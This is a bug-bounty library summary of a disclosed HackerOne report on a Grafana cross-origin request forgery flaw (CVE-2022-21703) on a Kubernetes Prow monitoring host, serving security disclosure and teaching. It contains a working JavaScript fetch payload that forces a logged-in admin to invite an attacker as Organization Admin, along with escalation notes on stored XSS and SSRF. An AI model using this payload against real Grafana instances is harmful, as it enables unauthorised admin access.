# monitoring.prow-canary.k8s.io is vulnerable to CVE-2022-21703 (Grafana 0-day)

Grafana's org invite endpoint accepted cross-origin POSTs with text/plain content-type, letting a same-site attacker force an admin to invite them as Organization Admin.

- Payout: $100
- Severity: low
- Program: Kubernetes
- Found by: jub0bs
- Disclosed: 2024-06-25
- CVE: CVE-2022-21703
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1466765
- Library page: https://bugbountylibrary.com/r/h1%3A1466765
- Tags: area:web domain:web impact:internal-access impact:privesc kind:bounty platform:hackerone sev:low technique:chained vuln:access-control vuln:csrf vuln:privilege-escalation

**Target:** Grafana /api/org/invites endpoint on monitoring.prow-canary.k8s.io
**Root cause:** Grafana's /api/org/invites endpoint accepted cross-origin requests with a simple text/plain content-type (no CSRF token / origin check), so a same-site origin could submit a JSON invite body via a no-cors fetch with credentials.
**Steps:**
1. Deploy malicious page on a same-site origin/subdomain of monitoring.prow-canary.k8s.io
2. Victim (Org/Grafana Admin) logs into Grafana then visits the malicious page
3. Page runs `fetch('https://monitoring.prow-canary.k8s.io/api/org/invites', {method:'POST', mode:'no-cors', credentials:'include', headers:{'Content-Type':'text/plain; json'}, body: JSON.stringify({name:'attacker',email:'',role:'Admin',sendEmail:false,loginOrEmail:'attacker@example.com'})})`
4. Check Grafana user invitations list; attacker invite with Admin role appears
**How found:** Researcher knew of the then-0day CVE-2022-21703 (Grafana CSRF via text/plain content-type bypassing SameSite) and checked whether the Kubernetes Prow canary Grafana instance was unpatched, then built a same-site PoC.
**Exploitation:** Attacker lures an authenticated Grafana admin to a same-site malicious page; a credentialed no-cors POST with text/plain content-type creates an Organization Admin invite for the attacker, who then accepts it and gains admin access. From there the datasource proxy can be abused for stored XSS and full-read SSRF.
**Escalation:** Org-Admin access enables abusing Grafana's datasource proxy to install stored XSS in Grafana/Gitlab context and launch full-read SSRF against internal network.
**Insight:** Grafana's API accepted 'simple' text/plain cross-origin POSTs with cookies, so SameSite=Lax did not protect state-changing endpoints; check whether JSON APIs accept text/plain content-type and whether any same-site subdomain (or XSS/subdomain takeover) can host the attacker page.

## Proof of concept (copied exactly from the original report)

**CSRF fetch forcing admin invite**

```
const baseUrl = "https://monitoring.prow-canary.k8s.io";
const url = `${baseUrl}/api/org/invites`;
const name = "attacker";
const email = "attacker@example.com";
const data = {"name":name,"email":"","role":"Admin","sendEmail":false,"loginOrEmail":email};
const opts = {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  headers: {
    "Content-Type": "text/plain; json"
  },
  body: JSON.stringify(data)
};
fetch(url, opts);
```

## Write-ups of the same bug (oldest first)
- 2022-03-16: [0-day Cross Origin Request Forgery vulnerability in Grafana 8.x .](https://bugbountylibrary.com/r/h1%3A1458236) — abrahack
- 2024-06-25: [monitoring.prow-canary.k8s.io is vulnerable to CVE-2022-21703 (Grafana 0-day)](https://bugbountylibrary.com/r/h1%3A1466765) — jub0bs (this one)

